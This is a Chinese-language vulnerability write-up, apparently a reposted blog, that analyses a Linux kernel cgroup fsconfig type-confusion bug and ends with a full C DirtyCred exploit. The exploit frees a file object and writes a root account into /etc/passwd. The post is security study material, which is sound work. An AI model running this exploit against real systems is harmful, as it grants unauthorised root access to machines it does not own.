CVE-2021-4145:类型混淆导致释放任意 file 结构体

前言

影响版本: v5.13.4 之前

测试版本:v5.13.3 (感谢 bsauce 大佬提供的测试环境

漏洞发生在 fsconfig 处理时调用的cgroup1_parse_param 函数中,patch

diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);if (opt == -ENOPARAM) {if (strcmp(param->key, "source") == 0) {
+           if (param->type != fs_value_is_string)
+               return invalf(fc, "Non-string source");if (fc->source)return invalf(fc, "Multiple sources not supported");fc->source = param->string;

fsconfig/cgroup1_parse_param 漏洞分析

这里的从头开始分析一下 fsconfig,这也有利于理解(fsopen 就不分析了,分析好几遍了已经)。这里利用时,主要是 cgroup 文件系统,然后 fsconfigcmdFSCONFG_SET_FD

SYSCALL_DEFINE5(fsconfig,int, fd,unsigned int, cmd,const char __user *, _key,const void __user *, _value,int, aux)
{struct fs_context *fc; // 文件系统上下文信息结构体struct fd f; // 文件系统文件描述符int ret;int lookup_flags = 0;
​struct fs_parameter param = {.type   = fs_value_is_undefined, // 参数类型};
​if (fd < 0) return -EINVAL;// 不同的 cmd,其 key/vaule/aux 参数含义不同switch (cmd) {case FSCONFIG_SET_FLAG:if (!_key || _value || aux)return -EINVAL;break;case FSCONFIG_SET_STRING:if (!_key || !_value || aux)return -EINVAL;break;
......// 对于 FSCONFIG_SET_FD 而已,其 key 不为空,aux 为要设置的 fdcase FSCONFIG_SET_FD:if (!_key || _value || aux < 0)return -EINVAL;break;
......default:return -EOPNOTSUPP;}// 获取文件系统的 fd 结构体f = fdget(fd);// 一些检查if (!f.file) return -EBADF;ret = -EINVAL;if (f.file->f_op != &fscontext_fops) goto out_f;
​// 获取 fc,即文件系统上下文fc = f.file->private_data;// 如果其 ops 为默认的 legacy_fs_context_ops// 则以下 cmd 不能执行// 对于 cgroup 文件系统而言,其不是 legacy_fs_context_ops,这里后面再说if (fc->ops == &legacy_fs_context_ops) {switch (cmd) {case FSCONFIG_SET_BINARY:case FSCONFIG_SET_PATH:case FSCONFIG_SET_PATH_EMPTY:case FSCONFIG_SET_FD:ret = -EOPNOTSUPP;goto out_f;}}// 复制 key 到内核空间if (_key) {param.key = strndup_user(_key, 256);if (IS_ERR(param.key)) {ret = PTR_ERR(param.key);goto out_f;}}// 针对不同的 cmd 设置参数类型switch (cmd) {case FSCONFIG_SET_FLAG:param.type = fs_value_is_flag;break;case FSCONFIG_SET_STRING:param.type = fs_value_is_string;param.string = strndup_user(_value, 256);if (IS_ERR(param.string)) {ret = PTR_ERR(param.string);goto out_key;}param.size = strlen(param.string);
......// 对于 FSCONFIG_SET_FD 而已,其类型为 fs_value_is_filecase FSCONFIG_SET_FD:param.type = fs_value_is_file;ret = -EBADF;param.file = fget(aux); // 获取 aux 文件描述符对于的 struct file 结构体指针并赋值给 param.fileif (!param.file) goto out_key;break;default:break;}
​ret = mutex_lock_interruptible(&fc->uapi_mutex);if (ret == 0) {// 这里会调用 vfs_fsconfig_locked 函数,其会调用的漏洞函数 ****ret = vfs_fsconfig_locked(fc, cmd, &param);mutex_unlock(&fc->uapi_mutex);}
​/* Clean up the our record of any value that we obtained from* userspace.  Note that the value may have been stolen by the LSM or* filesystem, in which case the value pointer will have been cleared.*/// 针对不同的 cmd 进行不同的清理操作,这里无关紧要switch (cmd) {case FSCONFIG_SET_STRING:case FSCONFIG_SET_BINARY:kfree(param.string);break;case FSCONFIG_SET_PATH:case FSCONFIG_SET_PATH_EMPTY:if (param.name) putname(param.name);break;case FSCONFIG_SET_FD:if (param.file) fput(param.file);break;default:break;}
out_key:kfree(param.key);
out_f:fdput(f);return ret;
}

vfs_fsconfig_locked 函数如下:其也是争对不同的 cmd 执行不同的操作

static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param)
{struct super_block *sb;int ret;
​ret = finish_clean_context(fc);if (ret)return ret;switch (cmd) {case FSCONFIG_CMD_CREATE:
......return 0;case FSCONFIG_CMD_RECONFIGURE:
......return 0;default:if (fc->phase != FS_CONTEXT_CREATE_PARAMS && fc->phase != FS_CONTEXT_RECONF_PARAMS)return -EBUSY;return vfs_parse_fs_param(fc, param);}fc->phase = FS_CONTEXT_FAILED;return ret;
}

这里如果 cmd 不是 FSCONFIG_CMD_CREATE/FSCONFIG_CMD_RECONFIGURE 的话一般都会调用到 vfs_parse_fs_param 函数:

int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{int ret;// key 不能为空if (!param->key) return invalf(fc, "Unnamed parameter\n");
​ret = vfs_parse_sb_flag(fc, param->key);if (ret != -ENOPARAM) return ret;
​ret = security_fs_context_parse_param(fc, param);if (ret != -ENOPARAM) return ret;// 这里会调用到漏洞函数if (fc->ops->parse_param) {ret = fc->ops->parse_param(fc, param);if (ret != -ENOPARAM)return ret;}
​/* If the filesystem doesn't take any arguments, give it the* default handling of source.*/// 如果 key 是 source,会进行单独处理if (strcmp(param->key, "source") == 0) {// 这里判断参数类型是否是 fs_value_is_string// fs_value_is_string 是 key-value 型的if (param->type != fs_value_is_string)return invalf(fc, "VFS: Non-string source");// source 已经存在了if (fc->source) return invalf(fc, "VFS: Multiple sources");// 将 value [param->string 就是传入的 value] 赋给 fc->sourcefc->source = param->string;param->string = NULL;return 0;}
​return invalf(fc, "%s: Unknown parameter '%s'", fc->fs_type->name, param->key);
}

对于 cgroup 文件系统而言,其 opscgroup1_fs_context_ops,这里可以看 fsopen 函数逻辑:

static const struct fs_context_operations cgroup1_fs_context_ops = {.free       = cgroup_fs_context_free,.parse_param    = cgroup1_parse_param,.get_tree   = cgroup1_get_tree,.reconfigure    = cgroup1_reconfigure,
};

因为对于 cgroup 文件系统,其 file_system_type 中的 init_fs_context 不为空:

struct file_system_type cgroup_fs_type = {.name           = "cgroup",.init_fs_context    = cgroup_init_fs_context,.parameters     = cgroup1_fs_parameters,.kill_sb        = cgroup_kill_sb,.fs_flags       = FS_USERNS_MOUNT,
};

所以其在 fsopen 中调用的是 cgroup_init_fs_contextfs 进行相关初始化:

static int cgroup_init_fs_context(struct fs_context *fc)
{struct cgroup_fs_context *ctx;
​ctx = kzalloc(sizeof(struct cgroup_fs_context), GFP_KERNEL);if (!ctx) return -ENOMEM;
​ctx->ns = current->nsproxy->cgroup_ns;get_cgroup_ns(ctx->ns);fc->fs_private = &ctx->kfc;if (fc->fs_type == &cgroup2_fs_type)fc->ops = &cgroup_fs_context_ops;elsefc->ops = &cgroup1_fs_context_ops;put_user_ns(fc->user_ns);fc->user_ns = get_user_ns(ctx->ns->user_ns);fc->global = true;return 0;
}

可以看到这里设置的 ops 就是 cgroup1_fs_context_ops

所以这里调用的就是 cgroup1_parse_param 函数,这里就看下漏洞点:

int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{struct cgroup_fs_context *ctx = cgroup_fc2context(fc);struct cgroup_subsys *ss;struct fs_parse_result result;int opt, i;
​opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);if (opt == -ENOPARAM) {// 如果 key == "source"if (strcmp(param->key, "source") == 0) {// 可以看到这里只是判断了 fc->source 是否存在// 你是否还记得之前的 source 判断都是判断了其类型是否是 fs_value_is_string 的if (fc->source) return invalf(fc, "Multiple sources not supported");// 这里把 param->string 赋值给了 fc->sourcefc->source = param->string;param->string = NULL;return 0;}......}if (opt < 0)return opt;
​switch (opt) {......}return 0;
}

其实到这里你还是觉得这里不存在啥问题,因为按照流程下来,我们提前说了用的是 FSCONFIG_SET_FD,所以 param->file = my_fileparam->string 并没有被赋值,但是你请看 struct fs_parameter 结构体:

struct fs_parameter {const char      *key;       /* Parameter name */enum fs_value_type  type:8;     /* The type of value here */union {char        *string; // <============void        *blob;   //             |struct filename *name;//            |struct file *file;   // <============};size_t  size;int dirfd;
};

纳尼?stringfile 是在联合体里面,所以这里的 param->string = param->file,所以这里我们可以把一个文件的 file 结构体指针挂在 fc->source 上。

当我们关闭文件系统描述符 fs_fd 时,其会调用 fscontext_release 函数:

static int fscontext_release(struct inode *inode, struct file *file)
{struct fs_context *fc = file->private_data;
​if (fc) {file->private_data = NULL;put_fs_context(fc);}return 0;
}

其调用了 put_fs_context 函数,这里只看关键点:

void put_fs_context(struct fs_context *fc)
{struct super_block *sb;
​if (fc->root) {sb = fc->root->d_sb;dput(fc->root);fc->root = NULL;deactivate_super(sb);}
​if (fc->need_free && fc->ops && fc->ops->free)fc->ops->free(fc);
​security_free_mnt_opts(&fc->security);put_net(fc->net_ns);put_user_ns(fc->user_ns);put_cred(fc->cred);put_fc_log(fc);put_filesystem(fc->fs_type);kfree(fc->source); // 这里释放了 fc->sourcekfree(fc);
}

可以看到这里释放了 fc->source,而在上面说了我们是可以把一个文件的 file 结构体指针挂到 fc->source 上的。所以这里就造成了任意 struct file 释放漏洞。

poc 关键代码如下:

int fs_fd = fsopen("cgroup", 0);
int fd = open("victim_file_path", O_RDWR);
fsconfig(fs_fd, FSCONFIG_SET_FD, "source", NULL, fd);
close(fs_fd);

在关闭 fs_fd 时,fd 对应的 struct file 会被释放,导致了 struct fileUAF

漏洞利用

这里我感觉除了 dirtyCred 外,其他方法还挺难利用的,毕竟不是通用 slabUAF。但是我们网上大佬们尝试利用 cross-cache 进行利用。由于这个技巧我掌握的不好,所以搞出来非常不稳定,暂时就不表了,后面有机会好好学一学。

这里的 dirtyCred 利用时存在一定的技巧性,觉得好好记录一下。

linux 中在对文件进行写入操作时的流程如下:

  • 权限检查,检查文件是否可写

  • 内容写入,实际内容写入文件

而权限检查和内容写入都是根据打开文件的 struct file 进行的,所以如果能够在权限检查之后,内容写入之前将低权限的 file 替换为高权限的 file,即可完成向高权限的文件进行写入如 /etc/passwd 文件。

而操作系统不允许两个进程同时向一个文件进行写入,所以在一个进程对文件进行写入时会获取 inode 锁,其他进程进行写入时得等待 inode 锁的释放。

如下所示,ext4_file_write_iter() 会对 inode 上锁,避免多个线程同时写入同一文件,这个锁恰好在写许可检查与实际写之间。线程1先获得锁并写入大量数据,线程2写入同一文件(确保不会在__fdget_pos()中卡住),在函数 ext4_file_write_iter() 中获取 inode 锁时暂停,线程3触发漏洞释放线程2的file 结构,并用特权 file 结构替换,等线程2获得锁后会往特权文件写入恶意数据。

调用路径:.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter

static ssize_t ext4_buffered_write_iter(struct kiocb *iocb, struct iov_iter *from)
{ssize_t ret;struct inode *inode = file_inode(iocb->ki_filp);
​if (iocb->ki_flags & IOCB_NOWAIT)return -EOPNOTSUPP;
​ext4_fc_start_update(inode);inode_lock(inode);                                              // [1] 获取 inode 锁...ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos); // [2] 实际写 generic_perform_write...inode_unlock(inode);                                            // [3] 释放 inode 锁return ret;
}

所以思路如下:

  • 打开一个可写文件 /tmp/x,利用漏洞将其 struct file 释放掉

  • 进程 A/B 对文件 /tmp/x 进行写入,A 先获取 inode 锁并写入,B 通过权限检查后等待 A 写完释放 inode

  • B 等待锁期间,打开大量 /etc/passwd 则可能获取到第一步释放的 struct file

  • 后面 B 进行写入时,实际上是向 /etc/passwd 文件中进行写入

关键点:

  • 打开大量 /etc/passwd 是需要时间的,所以为了延长 B 等待锁的时间,这里 A 得写入大量数据,如 4G 一般可让 B 等待 10 几秒

  • struct file 被释放后,其内容不会改变吗?对后面没有影响吗?这里如果是 slub 的话,一般也就修8字节,其实问题不大

  • 在检查写权限之前会调用 __fdget_pos

unsigned long __fdget_pos(unsigned int fd)
{unsigned long v = __fdget(fd);struct file *file = (struct file *)(v & ~3);
​if (file && (file->f_mode & FMODE_ATOMIC_POS)) {if (file_count(file) > 1) {v |= FDPUT_POS_UNLOCK;mutex_lock(&file->f_pos_lock);}}return v;
}

可以看到如果 file 中引用计数 refcount 大于1,且 flag 带有 FMODE_ATOMIC_POS 标志时,这里会获取 f_pos_lock 锁,而在我们的利用中,最开始打开了一次 /tmp/xA/B 又分别打开了一次,所以这里 refcount 为3,所以这里得去除 FMODE_ATOMIC_POS 标志。不然 A 会获得该锁,当 B 进行权限检查时,就会卡在这里等待该锁。

解决方案:在 open 调用中,只要文件是常规文件,就会设置 FMODE_ATOMIC_POS flag,作者查看内核代码后发现,如果打开软连接文件就不会设置 FMODE_ATOMIC_POS flag,这样就能避免卡在 __fdget_pos() 函数中。

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <linux/kcmp.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endifint fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char* msg)
{printf("[X] %s\n", msg);exit(-1);
}void unshare_setup(void)
{char edit[0x100];int tmp_fd;if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))err_exit("FAILED to create a new namespace");tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}#define WRITE_PAGE_NUMS 0x40000
#define MAX_FILE_NUMS 1000int uaf_fd;
int run_wait_lock = 0;
int run_spray_file = 0;void prepare_exp_file()
{puts("[+] Step I - Prepare some exp files");system("rm exp_dir -rf;mkdir exp_dir;touch exp_dir/data");if (chmod("exp_dir", 0777))perror("chmod exp_dir"), exit(-1);if (chdir("exp_dir"))perror("chdir exp_dir"), exit(-1);
}void construct_file_uaf()
{puts("[+] Step II - Construct file obj UAF");int fs_fd = fsopen("cgroup", 0);if (fs_fd < 0) perror("fsopen cgroup"), exit(-1);symlink("./data", "./uaf");uaf_fd = open("./uaf", O_WRONLY);if (uaf_fd < 0) perror("open uaf"), exit(-1);if (fsconfig(fs_fd, 5, "source", NULL, uaf_fd))perror("fsoncfig set fd"), exit(-1);close(fs_fd);
}void* slow_write()
{int fd = open("./uaf", O_WRONLY);if (fd < 0) perror("open uaf"), exit(-1);uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS-1) * 0x1000;int64_t page_nums;for (page_nums = 0; page_nums < WRITE_PAGE_NUMS; page_nums++){void* addr = mmap((void*)(start_addr+page_nums*0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr <= 0) perror("mmap"), exit(-1);}assert(page_nums > 0);puts("[+] Thread I start to slow write to get inode lock");run_wait_lock = 1;if (write(fd, (void*)start_addr, write_len) < 0)perror("slow write"), exit(-1);puts("[+] Thread I write OVER");close(fd);
}void* write_cmd_and_wait_lock()
{char cmd[1024] = "hi:x:0:0:root:/home/hi:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n";while(!run_wait_lock) {}puts("[+] Thread II start to wait for inode lock to write");run_spray_file = 1;if (write(uaf_fd, cmd, strlen(cmd)) < 0)perror("write uaf"), exit(-1);puts("[+] Thread II write OVER");}void spray_file()
{int fd[MAX_FILE_NUMS], i = 0;while (!run_spray_file) {}puts("[+] Thread III start to open many /etc/passwd to spray file obj");printf("[+] uaf_fd is %d\n", uaf_fd);usleep(0.3);for (; i < MAX_FILE_NUMS; i++){if ((fd[i] = open("/etc/passwd", O_RDONLY)) < 0)perror("open /etc/passwd"), exit(-1);if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fd[i], uaf_fd) == 0){printf("[V] GOOD, Get UAF file obj successfully: fd[%d] = %d\n", i, fd[i]);for (int j = 0; j < i; j++)close(fd[j]);break;}}if (i == MAX_FILE_NUMS){for (int j = 0; j < i; j++)close(fd[j]);puts("[X] FAILED to get UAF file obj"), exit(-1);}
}int main(int argc, char** argv, char** envp)
{pthread_t thr1, thr2;prepare_exp_file();unshare_setup();construct_file_uaf();pthread_create(&thr1, NULL, slow_write, NULL);usleep(1);pthread_create(&thr2, NULL, write_cmd_and_wait_lock, NULL);spray_file();pthread_exit(NULL);return 0;
}

效果如下:

总结

这里漏洞分析并不困难,而且按理说 exp 写起来也不困难。但是 exp 我写了一天,反正就是各种错误,最后照着 blingbling 佬的 exp 抄都错了一下午。但是用 blingbling 的 exp 确实能够通的。所以最后还是直接把 blingbling 佬的 exp 拿过来了,乐。

参考

CVE-2021-4154 漏洞分析及利用 | blingbling's blog

【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用 — bsauce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/216466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软路由R4S+iStoreOS如何实现公网远程桌面本地电脑

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;数据结构、Cpolar杂谈 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 一. 简介1.1 软路由的定义1.2 使用软路由的好处1.3 常用组网 二. 配置远程桌面公网地址三. 家中使用…

mysql原理--B+树索引的使用

1.索引的代价 在介绍如何更好的使用索引之前先要了解一下使用这玩意儿的代价&#xff0c;它在空间和时间上都会拖后腿&#xff1a; (1). 空间上的代价 这个是显而易见的&#xff0c;每建立一个索引都要为它建立一棵 B 树&#xff0c;每一棵 B 树的每一个节点都是一个数据页&…

抖去推--短视频剪辑、矩阵无人直播saas营销工具一站式开发

抖去推是一款短视频剪辑和矩阵无人直播SAAS营销工具一站式开发平台。它提供了以下功能和特点&#xff1a; 1. 短视频剪辑&#xff1a;抖去推提供了一系列的剪辑工具&#xff0c;包括自动剪辑、特效制作、配音配乐等&#xff0c;可以帮助用户轻松制作出高质量的短视频。 2. 矩阵…

日志审计在网络安全中的重要性

日志审计是一种通过分析、识别和验证各种日志信息&#xff0c;以帮助企业了解其网络和系统的安全状态和活动的过程。这些日志信息可能来自各种来源&#xff0c;包括服务器、网络设备、应用程序、操作系统等。 日志审计的主要功能包括&#xff1a; 1.识别潜在的安全威胁&#…

创建第一个Vue2项目-----HelloWorld

创建第一个Vue项目 第一步先去安装Vue&#xff0c;一共有两种安装方式&#xff0c;这里使用 点击这里下载&#xff1a;Vue.js 添加到自己的项目中 在使用的页面引入<script src"../js/vue.js"></script> 2. 准备好一个容器 <div id"root&qu…

阿里云大数据工程师ACP认证,今天终于搞定了,87分

为啥我得去考个阿里云大数据工程ACP证书&#xff1f; 首先得声明&#xff0c;这不是因为我对阿里有多痴迷&#xff0c;也不是因为我想把我的简历装饰得花里胡哨。实际上&#xff0c;这更像是一场自我挑战的游戏。我就是一根筋&#xff0c;当时公司要求考阿里云大数据工程师认证…

Redis部署-集群

目录 集群 数据分片算法 哈希求余 一致性哈希算法 哈希槽分区算法 redis集群搭建 1.创建目录和配置. 2.将上述redis节点.构建成集群 3.使用客户端连接集群 集群模式下的故障转移流程 1.故障判定 2.故障迁移 集群扩容 集群 广义上的集群,只要是多个机器,构成了分布…

[IDEA] 写代码时没有类型推断的解决方法

本示例使用scala, 其他语言同理 使用 .var 时会自动生成变量 使用快捷键 CtrlAtlv 一样 val abc "abc"但是这个变量没有显式表现类型 期望 val abc: String "abc" 解决方法

【带头学C++】----- 九、类和对象 ---- 9.13 运算符重载——(9.13.1-9.13.4)

❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️创做不易&#xff0c;麻烦点个关注❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️ ❤️❤️❤️❤️❤️❤️❤️❤️❤️文末有惊喜&#xff01;献舞一支&#xff01;❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️ 目录 9.13…

Linux安装MySQL数据库系统

1、MySQL的编译安装。 1.1、准备工作 &#xff08;1&#xff09;为了避免发生端口冲突、程序冲突等现象&#xff0c;建议先查询MySQL软件的安装情况&#xff0c;确认没有使用以RPM方式安装的mysql-server、mysql软件包&#xff0c;否则建议将其卸载。 [rootlocalhost ~]# rp…

微信社群机器人开发

简要描述&#xff1a; 删除朋友圈 请求URL&#xff1a; http://域名地址/deleteSns 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说明wId…

蚂蚁集团20篇论文入选AI顶会NeurlPS,7成论文聚焦生成式AI

人工智能新浪潮如火如荼&#xff0c;中国互联网企业奋力逐浪并行。 当地时间12月10日&#xff0c;为期六天的全球AI顶级会议NeurlPS在美国路易斯安那州新奥尔良市举办。NeurlPS披露的数据显示&#xff0c;本届会议共有12343篇有效论文投稿&#xff0c;接收率仅为26.1%。蚂蚁集…

FastAPI之响应模型

前言 响应模型我认为最主要的作用就是在自动化文档的显示时&#xff0c;可以直接给查看文档的小伙伴显示返回的数据格式。对于后端开发的伙伴来说&#xff0c;其编码的实际意义不大&#xff0c;但是为了可以不用再额外的提供文档&#xff0c;我们只需要添加一个 response_mod…

单片双向马达驱动芯片D6208的芯片描述

D6208 是一块单片双向马达驱动电路&#xff0c;它使用TTL电平的逻辑信号就能控制卡式录音机和其它电子设备中的双向马达。该电路由一个逻辑部分和一个功率输出部分组成。逻辑部分控制马达正、反转向及制动&#xff0c;功率输出部分根据逻辑控制能提供100mA&#xff08;典型值&a…

[PyTorch][chapter 6][李宏毅深度学习][Logistic Regression]

前言&#xff1a; logistic回归又称logistic回归分析&#xff0c;是一种广义的线性回归分析模型&#xff0c;常用于数据挖掘&#xff0c;疾病自动诊断&#xff0c;经济预测等领域。 逻辑回归根据给定的自变量数据集来估计事件的发生概率&#xff0c;由于结果是一个概率&#xf…

【docker 】 安装docker(centOS7)

官网 docker官网 github源码 官网 在CentOS上安装Docker引擎 官网 在Debian上安装Docker引擎 官网 在 Fedora上安装Docker引擎 官网 在ubuntu上安装Docker引擎 官网 在RHEL (s390x)上安装Docker引擎 官网 在SLES上安装Docker引擎 最完善的资料都在官网。 卸载旧版本 …

异地现场工控设备,如何实现远程配置、调试?

南京某企业专注于工业物联领域&#xff0c;在相关项目中往往会在各个点位部署基于Linux系统的中控主机&#xff0c;实现各类物联设备信息的采集、汇总。但是&#xff0c;由于各点位分散多地&#xff0c;且数量达到了上百个&#xff0c;虽然中控主机具备4G物联网接入能力&#x…

Vue3-07-样式绑定-style绑定的写法总结

style 绑定的方式 1.html中直接一个属性一个属性的写&#xff1b; 2.直接绑定一个对象&#xff1b; 3.绑定一个包含多个样式对象的数组。style绑定样式的注意点 推荐使用 驼峰命名 规则来编写样式的名称&#xff0c;如 &#xff1a; fontSize:12px; 如果使用 中线分割的规则时…

医美行业-上游厂商的营销规模分析与测算

一、医美行业整体发展趋势&#xff1a;轻医美逐步占领市场&#xff0c;占比逐年增加&#xff0c;规模增速远超手术类医美 从2019年开始医美行业扩张速度放缓&#xff0c;2020年受疫情影响中国美容用户的医美行为有所减少&#xff0c;增速放缓至9.9%&#xff0c;随着疫情的好转及…

计算机组成原理-堆栈寻址

文章目录 堆栈寻址软堆栈vs硬堆栈小结 堆栈寻址 栈结构后进后出 软堆栈vs硬堆栈 硬堆栈用寄存器实现 软堆栈就是用内存实现 小结 入栈和出栈即栈顶元素位置的变化不同